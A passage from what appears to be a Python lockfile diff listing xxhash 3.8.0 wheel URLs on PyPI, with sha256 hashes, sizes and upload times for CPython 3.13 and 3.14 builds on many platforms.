"https://files.pythonhosted.org/packages/70/80/c053dc51af5c942229689a0e9cb66fdc999bbd840f645e761f5ab73cbb17/xxhash-3.8.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:9ffbde09743ebaf8957b8426948fbe85eab5e5de0d29eec407fcff5a2812a3cc", size = 32320, upload-time = "2026-06-27T08:13:54.04Z" }, + { url = "https://files.pythonhosted.org/packages/f8/a3/294171b67dfe770e1293edcf2a3f7e41302cdb8aefb258585312191b3ffe/xxhash-3.8.0-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:a6dee3952c2b6e82e7f1dbc5dbc6167f9c84126851def7926e32827c2816169c", size = 220532, upload-time = "2026-06-27T08:13:55.448Z" }, + { url = "https://files.pythonhosted.org/packages/80/c3/d141bfdeca785c8c680abf867d4b52a5e64a55d90df242c3141a3e58c4b2/xxhash-3.8.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bf8ff8e12416c9fa05b43c7509b9332d6ffc4090413c4e7a1dee8599763b6d59", size = 241215, upload-time = "2026-06-27T08:13:57.047Z" }, + { url = "https://files.pythonhosted.org/packages/09/5a/aeaf35143a6f3d44db73298e861405bdd9c9dacaedfc369cb43d9fd65282/xxhash-3.8.0-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:cebbb322df4d97d8ef2704f49ed2f6f21f6702fafa0dc0c2a6ae70e904205689", size = 264615, upload-time = "2026-06-27T08:13:58.912Z" }, + { url = "https://files.pythonhosted.org/packages/bf/3e/f8ca782bb34f99693faab70a7989bcc84f62ffe93c9a4cca464a33507a4b/xxhash-3.8.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9a8d08707b4100ebce598fc59fadf04b42d79b855818d6994f8f0fffd1df8edb", size = 242682, upload-time = "2026-06-27T08:14:00.483Z" }, + { url = "https://files.pythonhosted.org/packages/d4/fa/ddbee4ff1542c2e88e72269a5a6bd18c3f26a80c2514e0918f5d1f3e9ec5/xxhash-3.8.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:cf5427602dda15d8ce3c6d870d29bf07d43975f59c9d6d3f7f6f93a901b28b12", size = 473551, upload-time = "2026-06-27T08:14:02.17Z" }, + { url = "https://files.pythonhosted.org/packages/25/f5/a680d48dddab37ab2fd9189ca03f775e29e3627122e30790816d7eb365af/xxhash-3.8.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:97d7bd715ea5050b6c9638b52c62adf3055b648ef6eee6892a4cd9697b530191", size = 220485, upload-time = "2026-06-27T08:14:03.765Z" }, + { url = "https://files.pythonhosted.org/packages/22/b1/7ac129b74981c07f1ff9c649f204465e86f83f9f29b2ebdc70d91514c365/xxhash-3.8.0-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0cd25bbbab37d898f6e5a90905ce6ae2c1f8bd6668c07cef406fb3e8c8c570dd", size = 310307, upload-time = "2026-06-27T08:14:05.366Z" }, + { url = "https://files.pythonhosted.org/packages/67/e6/43e673411249dd63f6cd974523a1b32fad75cf5453e363bc8f44af215fb9/xxhash-3.8.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:3e30e5c057f483c3c53a11b53eba091a737cb19dfead36c8b23bf5beb4a169cd", size = 238164, upload-time = "2026-06-27T08:14:07.149Z" }, + { url = "https://files.pythonhosted.org/packages/e5/95/87f8baf41f63130f3637104b7a610f82b20106332fc6e289c8dbf7955d0e/xxhash-3.8.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:07dd44d992ebd456752bc25b1c42cd172d94bd8cb24049300449ad0716081c3a", size = 269062, upload-time = "2026-06-27T08:14:08.834Z" }, + { url = "https://files.pythonhosted.org/packages/38/c9/3369b497cd1f926b930c52fd2400606f177790d887b49f9e86bddcc24562/xxhash-3.8.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:3118600a3102d4707dc1c485dbc3acbbbf37819069ad3e7854e77b923745d76b", size = 225007, upload-time = "2026-06-27T08:14:10.689Z" }, + { url = "https://files.pythonhosted.org/packages/34/c8/03dceb86a8128858ac105bd6e282d62b3db6fd421a79bd8a9f6b8cdc47a7/xxhash-3.8.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:7ed37b0c95d8fb3fbaad5e13cc0a9727eb8739d1d54b2adef28108c250cada3a", size = 240815, upload-time = "2026-06-27T08:14:12.195Z" }, + { url = "https://files.pythonhosted.org/packages/47/a5/ebd43eeb1af1dd8f0201943688b20958e99d3f6eb36481fb8c37b55ef139/xxhash-3.8.0-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:bb043da412e478e7b1db3407051124b85b133803794d3809ad6d92870b304fc7", size = 300632, upload-time = "2026-06-27T08:14:13.916Z" }, + { url = "https://files.pythonhosted.org/packages/df/24/c873e41a3c00dacc385c8ff08c007723f6a528922c1cea7fd9684e86dae7/xxhash-3.8.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:196fc132683d9311a0bdce8388ee52bfa07fdc1987cc428a27956e47ccd7b50d", size = 443293, upload-time = "2026-06-27T08:14:15.446Z" }, + { url = "https://files.pythonhosted.org/packages/4f/1b/c671272fe28f70574e3c574d58465f26460154bcc68876121872afa1c14d/xxhash-3.8.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:dfb5411af3b77c75e99db100aa15c5ba623c85d72c565e4d7a0ed1a986ff766e", size = 217327, upload-time = "2026-06-27T08:14:17.28Z" }, + { url = "https://files.pythonhosted.org/packages/57/43/b45a52f795812cb769b6ac159e69b605d18b1c067749e63dcac159e90064/xxhash-3.8.0-cp313-cp313-win32.whl", hash = "sha256:6d1d6179e26830c6690fac63f76d372f69714b977e12ca9c42188a60f51c59f5", size = 31898, upload-time = "2026-06-27T08:14:18.952Z" }, + { url = "https://files.pythonhosted.org/packages/a1/42/2bd70e4eec25dc5990652979d708d4d7c999793d7d5af5d0e48ab4374dc1/xxhash-3.8.0-cp313-cp313-win_amd64.whl", hash = "sha256:7c92427a56a12f4d5c7bb26dbb9e9a4658c313ecb6c2f1dca349902e3822df07", size = 32680, upload-time = "2026-06-27T08:14:20.277Z" }, + { url = "https://files.pythonhosted.org/packages/d5/c8/2fe61edb6144183cf094035a8c5354c65a073127acf6379655ed1e705b70/xxhash-3.8.0-cp313-cp313-win_arm64.whl", hash = "sha256:9fc8453642c1c6d38b4fbac8901c2452ce1fa88b27f003bfee6703cbfae9bd63", size = 29157, upload-time = "2026-06-27T08:14:21.674Z" }, + { url = "https://files.pythonhosted.org/packages/b9/b8/81d17a993b9a4750ba426ce966421681bb4b8e82a460cd346756491b8cc2/xxhash-3.8.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:efcacb644a915f010dc477447b045e5dcde1afaa40d16b2f0f8e7cd99c9e1635", size = 34897, upload-time = "2026-06-27T08:14:23.044Z" }, + { url = "https://files.pythonhosted.org/packages/bb/3b/f5a368e3273440b3ea58fbd3f0b08c19f552b25ca59f43f5732ca96d2126/xxhash-3.8.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:d1e0dbc510cff94c5efbcc2b82c28b41519fad09b5b1f9f3d99c63e3940e49a0", size = 32630, upload-time = "2026-06-27T08:14:24.603Z" }, + { url = "https://files.pythonhosted.org/packages/a6/ab/f424359c91c55f564fbbe4e454a126eb522471109f67376f20ad19c5e663/xxhash-3.8.0-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:ff19d016a41c90d1f519005887191896b6da1274e1d5d48b347e17eb798ffc5a", size = 225874, upload-time = "2026-06-27T08:14:25.992Z" }, + { url = "https://files.pythonhosted.org/packages/ac/c2/434579ef9235123b6c9bfa89c5614e0001e988613b91557b24aa326d9faa/xxhash-3.8.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:aafc3eab99c50508852e34307e9565933bf128cad084cac7d2471b7ab1743de0", size = 249705, upload-time = "2026-06-27T08:14:27.607Z" }, + { url = "https://files.pythonhosted.org/packages/c0/6c/3c0c917331ca3c71f826cedce2127f230624e2b49b992472dd5e9e72101c/xxhash-3.8.0-cp313-cp313t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:5e521368ed79ae6c4d31e1e417726643c49d7d6e286f4fdabf9a8330ed8a8ff7", size = 274716, upload-time = "2026-06-27T08:14:29.495Z" }, + { url = "https://files.pythonhosted.org/packages/c1/f3/a8bb98d3307c67e88be9642dff52854c3de3f488f95989b60ff69c8dcc42/xxhash-3.8.0-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6a0127688d116ec0c225e7e1f744e3f206de2b8822ffeb31a9ab5cc6384f92c5", size = 252019, upload-time = "2026-06-27T08:14:31.247Z" }, + { url = "https://files.pythonhosted.org/packages/f7/73/fab69a2e5b6353dde643209fe9b6adf4fbd64c888e531deffc476bfb2635/xxhash-3.8.0-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:22c0b17da2f9fea0f8836538512249871b359141616bad44c58d238b5f011f40", size = 482024, upload-time = "2026-06-27T08:14:32.973Z" }, + { url = "https://files.pythonhosted.org/packages/a3/5b/ba34099b5278097ec9c68c0b740719813553bfd11ca17e7353de6d2a41e3/xxhash-3.8.0-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:3d49465646b1a5e3b1729c5f636e05676a2fb52e203e3b22a5411c416c4c5302", size = 226655, upload-time = "2026-06-27T08:14:34.608Z" }, + { url = "https://files.pythonhosted.org/packages/76/0c/90aba4708a37fe752b324a7cbf10058eaa33e892cdd62751ff17a5137b93/xxhash-3.8.0-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c2853dea1e30ed00ca87dd87d76da5da063d302b823b3fb80ccd18421de0f251", size = 319583, upload-time = "2026-06-27T08:14:36.419Z" }, + { url = "https://files.pythonhosted.org/packages/38/46/42e349e2d3017b2688f4cb301742c37c438e77963e3fef711edce2fc5c65/xxhash-3.8.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:82f0102a2a3760287b7cd7f9e0a30edd4c3b18762ed1a242208d43c8e2bcf30b", size = 246000, upload-time = "2026-06-27T08:14:38.104Z" }, + { url = "https://files.pythonhosted.org/packages/ee/15/741b947ae3c768e82018c46846f8616f6aa9b5042649f318a1a6897defe3/xxhash-3.8.0-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:b8414a66a7524596d841cad5dc1adab6ce76848db5ab2b83db911fbdab1417af", size = 275455, upload-time = "2026-06-27T08:14:39.841Z" }, + { url = "https://files.pythonhosted.org/packages/c6/b4/a9db84c9458fc8f53eaf0051377d1e9eecd9f330fb1225640027417a309d/xxhash-3.8.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:0dbaa73df10414ea1e41b98691a9d8241d4c47ad8d02c726587a3cda05278e53", size = 231209, upload-time = "2026-06-27T08:14:41.543Z" }, + { url = "https://files.pythonhosted.org/packages/20/92/60a868cd34851746d0b0d95dced0f42867c7c00606f6e5dba85b70b232ce/xxhash-3.8.0-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:43fc9aaba10ab4267c90793601f60d35c3c9caa1544eceb483618a71ad9ce7da", size = 250416, upload-time = "2026-06-27T08:14:43.193Z" }, + { url = "https://files.pythonhosted.org/packages/7a/6a/168ca46a4679c32aae9246caa1fddf35981d6304487e45e992b3d4530324/xxhash-3.8.0-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:ec5eb3d28fbb9802c6d2526f772133a06c91d6f03756fcc67c834b642ffdd51d", size = 309764, upload-time = "2026-06-27T08:14:44.79Z" }, + { url = "https://files.pythonhosted.org/packages/18/0b/13646b348c07679c818791ab2d35415db5cb20f3bc77daaa255909a401b4/xxhash-3.8.0-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:2b77c301b644cd9b4d0749a3291081ec2048a6bef7fe0487c993bbba3efb9ce0", size = 448650, upload-time = "2026-06-27T08:14:46.562Z" }, + { url = "https://files.pythonhosted.org/packages/59/9a/3d244b2acf6bbd86a363817ee09084b4684e8e11840663e19869e9e0d952/xxhash-3.8.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:d7ece11a132325353890a144c30119073617a1299c593ca29b96c315b07e1edd", size = 223572, upload-time = "2026-06-27T08:14:48.294Z" }, + { url = "https://files.pythonhosted.org/packages/6f/c7/143410d026a6e0d86dc69037ec2a3b8db810a54e7f443b340ac17612be2e/xxhash-3.8.0-cp313-cp313t-win32.whl", hash = "sha256:b21db84df7b9d54d9e4195a964243c1b32d745c6fbc0cfcfffee1d4bd297196a", size = 32301, upload-time = "2026-06-27T08:14:49.687Z" }, + { url = "https://files.pythonhosted.org/packages/6c/db/2240b0638161637b2f310231748a7a6a06c79fb43a3adb34c96f359762bf/xxhash-3.8.0-cp313-cp313t-win_amd64.whl", hash = "sha256:0643b7d9f598f6da6f1f6b899f4358250d0fb853242e2d712cbde27bf5a99d29", size = 33221, upload-time = "2026-06-27T08:14:51.404Z" }, + { url = "https://files.pythonhosted.org/packages/e0/d8/52038e4fa5baf4f00654a225516168d02908edfec7ca104fbefc58af394f/xxhash-3.8.0-cp313-cp313t-win_arm64.whl", hash = "sha256:4bbacf2e938526969f8ab3334d4ac3da14ea059e1dfd1339a92f9091467e750f", size = 29294, upload-time = "2026-06-27T08:14:52.778Z" }, + { url = "https://files.pythonhosted.org/packages/e5/ef/a09907aa28bdcdf6810d5c26656b154c60c0f06bb8db8442a1192d9c227a/xxhash-3.8.0-cp314-cp314-android_24_arm64_v8a.whl", hash = "sha256:557e2a7cc0b6a634cf9c8e5c975d96b7da796fdeb1824569d760cf0f25b6f33f", size = 38365, upload-time = "2026-06-27T08:14:54.166Z" }, + { url = "https://files.pythonhosted.org/packages/d2/4d/d991ff77bc489c2231025e64e570502156d573c7bff69c917589cc307089/xxhash-3.8.0-cp314-cp314-android_24_x86_64.whl", hash = "sha256:dad744d1613cbfddb844dad93adbffbd51c3e9f53ceea9568f7c3b94bedc19a4", size = 36477, upload-time = "2026-06-27T08:14:55.427Z" }, + { url = "https://files.pythonhosted.org/packages/cc/0e/553eab001f1e274da73da074968cdc8be8cacfb318937ab9871b8e1909cb/xxhash-3.8.0-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:953f29b22c04b123cf3cd2e08bccde3a73184aeda5a1038e0054cb3355644120", size = 31116, upload-time = "2026-06-27T08:14:56.897Z" }, + { url = "https://files.pythonhosted.org/packages/55/d5/d0f4dbe7b4d9ce0125f16e45ec0be5e04f6a172edb4e2fa551c4f2eb5d7a/xxhash-3.8.0-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:aa699e0253ceffecf41cae858d0a11f2439d6874a0890b556387bffe11dc1c08", size = 32112, upload-time = "2026-06-27T08:14:58.126Z" }, + { url = "https://files.pythonhosted.org/packages/2e/2f/b332c7bede6a676343f2c9c8dea233c8c82753eaeda6f7a2c321d8c58ca3/xxhash-3.8.0-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:e232c82466babc13e956d53aa84d0149660ed6886bc195248bb4d03bf2eca301", size = 34618, upload-time = "2026-06-27T08:14:59.458Z" }, + { url = "https://files.pythonhosted.org/packages/b3/5b/2bf3c9e61c7cf8f53bce937af45e22b72bb1f224d5afb20352beba0d628d/xxhash-3.8.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:7f75fd1c6a5028f345cd4a8c52f4774d2e5b7809fa58111c60a5502b528914a4", size = 34739, upload-time = "2026-06-27T08:15:00.863Z" }, + { url = "https://files.pythonhosted.org/packages/64/b6/e88521f5736c181b89bfb7ab756f0ca658a8a1ecece7277b75e167717614/xxhash-3.8.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:b49d7e09b211a1ad658dbe2dbf6561eb92f2e6926bd1101e2d023178371f2d6f", size = 32332, upload-time = "2026-06-27T08:15:02.383Z" }, + { url = "https://files.pythonhosted.org/packages/ed/a2/fba440739fa5f86d2c28738c202e88d3dd063290c8bbb20e183c5334456a/xxhash-3.8.0-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:ceb702bc8e56b7f1f1413d42aa294045b9a0e4c9888e07edc5cd153e8c4c948f", size = 220479, upload-time = "2026-06-27T08:15:03.785Z" }, + { url = "https://files.pythonhosted.org/packages/2c/1c/4a1639efec16416695d6c7bc6b224d3f607e0b8cbe2409fa81081a849d1c/xxhash-3.8.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b4f3c96e06bdb122e8cc84f5c7088579f3102b828efd62e9dc964a9d17c7b89e", size = 241409, upload-time = "2026-06-27T08:15:05.439Z" }, + { url = "https://files.pythonhosted.org/packages/92/d1/8ce471f8d6752384f972fd5f6363f2e8d8b867a89fbd724c6dbd91d2bb98/xxhash-3.8.0-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:415a8d06ac9bea36b1e06b603a347e0f62401042a97d7bfccec8ae2da12ad784", size = 264433, upload-time = "2026-06-27T08:15:07.027Z" }, + { url = "https://files.pythonhosted.org/packages/95/77/400a281683fd39c54e2ac497fa67bdf886baaadb8c0ba58f7e1ea1d7692e/xxhash-3.8.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:7f5ccdd2deb5dce31201cc0eec94388cce97e681429073db50903fab0a0a8a0d", size = 242835, upload-time = "2026-06-27T08:15:08.703Z" }, + { url = "https://files.pythonhosted.org/packages/aa/a6/edda651cfa0ba8e921791e93468fae655b63894d89730fcbfe46704f0d0a/xxhash-3.8.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:1a6cf81bc699d3a5ebfcf2fdb2a7bd2e096708d7de193f6f322944a02ba00953", size = 473800, upload-time = "2026-06-27T08:15:10.503Z" }, + { url = "https://files.pythonhosted.org/packages/dd/da/50f764ec6a93d3961fce294567e41bfca0e66d168deed354a3dc90ebeba6/xxhash-3.8.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e4d12a04d7ffc0359f0eadc4535a53cab113044c8d2f262c7e9a56950a5ed50e", size = 220677, upload-time = "2026-06-27T08:15:12.622Z" }, + { url = "https://files.pythonhosted.org/packages/bb/49/9fe4ed5aac6f38629cc83b34f84748b83ad8295a578ec6a49d8bf896cafb/xxhash-3.8.0-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d209373fcb66138c652cf843385ee60866e50158a7869bbbf8b322d9a822b765", size = 310385, upload-time = "2026-06-27T08:15:14.384Z" }, + { url = "https://files.pythonhosted.org/packages/83/f5/1147e03c0553ed22bbae9ce47503c37ee0c5f95592aae10f339c25f61de9/xxhash-3.8.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:b88a3fe28277811e599efa6e1c96abce8a77d60dd79c94da7a9b5c377c172b7b", size = 238330, upload-time = "2026-06-27T08:15:16.201Z" }, + { url = "https://files.pythonhosted.org/packages/b8/d8/92daf66c1966c84da5c97a06ced1480208d3a3bd465cb0630565ec00d1b9/xxhash-3.8.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:5d5a888a5ef997cb35f1aad346eb861cd87ecfe24f5e25d5aa4c9fd1bd3950c2", size = 268667, upload-time = "2026-06-27T08:15:18.064Z" }, + { url = "https://files.pythonhosted.org/packages/bd/c0/080c1a92972667e183c04b03f33c877f8ec61cfa3570e61731077286648d/xxhash-3.8.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:de2836e0329c01555957a603dcd113c337c577081153d691c12a51c5be3282b0", size = 224934, upload-time = "2026-06-27T08:15:19.972Z" }, + { url = "https://files.pythonhosted.org/packages/d9/d5/cbc4e5b2bee10c94cba05b5bb2b8033e7ef44ae742583fdafcd9188e33ed/xxhash-3.8.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:4bc74eedb0dd5827b3be748bacf9fdb50004037a3e16c7ddb5defae2682cef71", size = 240870, upload-time = "2026-06-27T08:15:22.04Z" }, + { url = "https://files.pythonhosted.org/packages/76/f7/09679b00e192b741b65c230440c4f7e6df3251a9ad427a518ddf262ec71a/xxhash-3.8.0-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:c571b03d59e339b010dc84f15a6f1cff80212f3a3116c2a71e2303c95065b1f6", size = 300683, upload-time = "2026-06-27T08:15:23.647Z" }, + { url = "https://files.pythonhosted.org/packages/5f/1b/f43ec36e8c6a20c77be0bcca23f0b133ed8a0312681500d1676eebd71924/xxhash-3.8.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:87626acdd6e2d762c588a4ffe94258c5ef34fb6049a4a3b25019bdb7f9267a9b", size = 443407, upload-time = "2026-06-27T08:15:25.504Z" }, + { url = "https://files.pythonhosted.org/packages/45/2e/a3e3a779c5e4789daf975e05cc1c7f11bae724a03855120029d4592c8e63/xxhash-3.8.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:076d8a4fb290af952826922aa42a46bfc64caa31662ce4e2925a445d0e6ce57f", size = 217559, upload-time = "2026-06-27T08:15:27.234Z" }, + { url = "https://files.pythonhosted.org/packages/44/da/1c1e078ac290afff304a541a2a60965beb369ad65b4f30ec93ea1e0b7210/xxhash-3.8.0-cp314-cp314-win32.whl", hash = "sha256:52f8c7c9833d947e60df830671f6eca810d7c667051243985a561c79f1a3d545", size = 32602, upload-time = "2026-06-27T08:15:28.809Z" }, + { url = "https://files.pythonhosted.org/packages/d7/7a/d455cb83d5e3c94046234294fb5dbbe5da600d1bbdf76b9527756920cce9/xxhash-3.8.0-cp314-cp314-win_amd64.whl", hash = "sha256:4fbfcb7dd307e23189a71050f6e27746926590330f37d5fd2ffcb8ea78de1f42", size = 33393, upload-time = "2026-06-27T08:15:30.166Z" }, + { url = "https://files.pythonhosted.org/packages/89/8f/1b14471f617bc96edbb9566099a162d918a981381c398114726cc600b76c/xxhash-3.8.0-cp314-cp314-win_arm64.whl", hash = "sha256:ecef1e65b4715c7326002073763fe94cc44c756a0698508abb915ab3d6be6e3d", size = 30007, upload-time = "2026-06-27T08:15:31.634Z" }, + { url = "https://files.pythonhosted.org/packages/11/8d/51ad2f9f784121c8057ef1ba36362f58d4595cbcad16322941f5b73eb53d/xxhash-3.8.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:02ed856a765cb6e006168595d9455ac8c3c4d60cc04cd47a158a1ac677d68f0f", size = 34957, upload-time = "2026-06-27T08:15:33.292Z" }, + { url = "https://files.pythonhosted.org/packages/1b/14/175c573ae4fac48bf21a82e5b9ceec75d64c520c51ca08de3105de539438/xxhash-3.8.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:eec30461a7b457611098ba7ab09363e36c8b2645b4687fb6f3d405bb646e3410", size = 32635, upload-time = "2026-06-27T08:15:34.766Z" }, + { url = "https://files.pythonhosted.org/packages/96/08/f83efabd350a50c31c851b88891e318a6f07bdbf40a43d0f7bb6cedade7f/xxhash-3.8.0-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:b471744912d1ce5dd6d3975b7525e77518359ebf3aa1bd7d501e199f5ae488ea", size = 225969, upload-time = "2026-06-27T08:15:36.35Z" }, + { url = "https://files.pythonhosted.org/packages/7c/78/2b6d12da9cf572c84d93b88ecbf9bf6539a7c5219bde128b214396b97c8b/xxhash-3.8.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3748d71202bf3f279e77cb8b273b6d0f29d1bcaefb6ce6cb03b95f358863ba37", size = 249851, upload-time = "2026-06-27T08:15:38.087Z" }, + { url = "https://files.pythonhosted.org/packages/d0/0a/755eeb1882634983b24e6375a95ed233228dc48f0ef12655388bf3c7eeaf/xxhash-3.8.0-cp314-cp314t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3b3bf59ea94b2a23b0f992769804ab9401d5cdcd9df0062fe2cd78a491ae8851", size = 274842, upload-time = "2026-06-27T08:15:39.808Z" }, + { url = "https://files.pythonhosted.org/packages/77/f2/09b1231cad17c314e51664c4a004c919108ec59aba10f9a28fa061e7b8be/xxhash-3.8.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:40f061aa5379eba249e9367b179515571e632be6d1b6f55ac139e6fe3d08463c", size = 252218, upload-time = "2026-06-27T08:15:42.105Z" }, + { url = "https://files.pythonhosted.org/packages/b2/24/de756d55547953494eb6775aea92e258035647b3ecb8547618cd549001e1/xxhash-3.8.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:680d70896a61fc920cc717a0a8fe8a9fb5858c563184666e31874caa54a16d9e", size = 482135, upload-time = "2026-06-27T08:15:44.476Z" }, + { url = "https://files.pythonhosted.org/packages/e5/63/b8147633e32f98ef2b4bb0dfca82f0f63e2b02ff179f20664af64c4216a7/xxhash-3.8.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:14973fbdee136588e57447401b521f466a42faca41eecdf35123c73103512ca8", size = 226776, upload-time = "2026-06-27T08:15:46.597Z" }, + { url = "https://files.pythonhosted.org/packages/29/37/ba051d8f0380d3cf845b23ba058a17d32025846463eb6bf885887fc8effe/xxhash-3.8.0-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:96c6bca2486cdc58b125966817a92a6abe6ef1fab86b2f8798a7e93488782540", size = 319738, upload-time = "2026-06-27T08:15:48.394Z" }, + { url = "https://files.pythonhosted.org/packages/4f/6f/36e0a27dd27ffa3f7b521650cbcd52a00fb86b71343ffadb642374e8263c/xxhash-3.8.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:0b1109ae238e932d8482f9cb568b56a405cc73bc7a36b837844087f1298dd218", size = 246136, upload-time = "2026-06-27T08:15:50.981Z" }, + { url = "https://files.pythonhosted.org/packages/fe/73/2663dbf4c09386a9dcc8a94d7a14b4609ed4bad8180ced5b848e60a9b660/xxhash-3.8.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:1da5db0863400eade7c5a31969754d1392189f26b4105f6631da2c6c7ea3bccc", size = 275568, upload-time = "2026-06-27T08:15:52.735Z" }, + { url = "https://files.pythonhosted.org/packages/d6/58/f3ce1bc3bb3971191f6521273ddae98d3c610bcefbbed5327c3b3627c12f/xxhash-3.8.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:c61b5a0f21ace5e886f177cce43826d85a7c84e35a9e17cb6d1b4ac0b7a7d833", size = 231314, upload-time = "2026-06-27T08:15:54.73Z" }, + { url = "https://files.pythonhosted.org/packages/4d/51/835706a36cdc00e5b638fba9b22218b3d40d23a7677c923feca8a3f55b98/xxhash-3.8.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:1db4f27835a450c7e729bc9330c6e702113711cea1f873d646e3a31fe96a9732", size = 250521, upload-time = "2026-06-27T08:15:56.853Z" }, + { url = "https://files.pythonhosted.org/packages/c1/47/b0b62caa3caee58ab9de8969f66aef1c3729886f3ff60e173fda3f2762be/xxhash-3.8.0-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:4788a470f946df34383abc6cd345088c13f897a5ee580c4cdd12b1d32ad218ef", size = 309926, upload-time = "2026-06-27T08:15:58.704Z" }, + { url = "https://files.pythonhosted.org/packages/69/c4/60e6d18a0e131c7af622374af9deede15d3c47d8e5e7221933481b57b319/xxhash-3.8.0-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:3b6dfa83096cb1e54d082acebaf67f0c42667c56dc48ba536a76cac08d46391e", size = 448812, upload-time = "2026-06-27T08:16:00.619Z" }, + { url = "https://files.pythonhosted.org/packages/12/9f/c9627daa052be39a932d0e17c6bf6a9041d2cde3afacbded9196acf70261/xxhash-3.8.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:57ec0ba5299a9a7df376063c139f5826ff0c89b438703939af3d252c31ca96a4", size = 223639, upload-time = "2026-06-27T08:16:02.784Z" }, + { url = "https://files.pythonhosted.org/packages/a9/38/92916e008a84c1f1a9aef82e4363cdc478a722ff69e59c6afbf93d3d1fda/xxhash-3.8.0-cp314-cp314t-win32.whl", hash = "sha256:d9a61f23b999baeb84102aba767b1b3e94958eab94e6c11b08927e7dc4200795", size = 33078, upload-time = "2026-06-27T08:16:04.639Z" }, + { url = 